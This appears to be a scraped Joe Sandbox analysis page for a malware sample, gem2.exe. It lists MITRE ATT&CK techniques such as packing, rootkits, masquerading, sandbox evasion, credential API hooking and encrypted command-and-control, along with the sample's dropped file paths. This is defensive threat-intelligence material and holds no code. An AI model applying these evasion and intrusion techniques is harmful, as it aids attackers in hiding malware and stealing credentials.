Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report gem2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Bitcoin Miner

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\cGFzdGVzbmFwM[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\cGFzdGVzbmFwR[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eisvokjp.w0u.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hio2y314.4sq.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jhttnkvt.2xv.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xbqbtqgs.41v.psm1

C:\Windows\Logs\ReAgent\ReAgent.log

C:\Windows\Panther\UnattendGC\diagerr.xml

C:\Windows\Panther\UnattendGC\diagwrn.xml

C:\Windows\Panther\UnattendGC\setuperr.log

Windows Analysis Report
gem2.exe

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
Tactics:	Lateral Movement
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre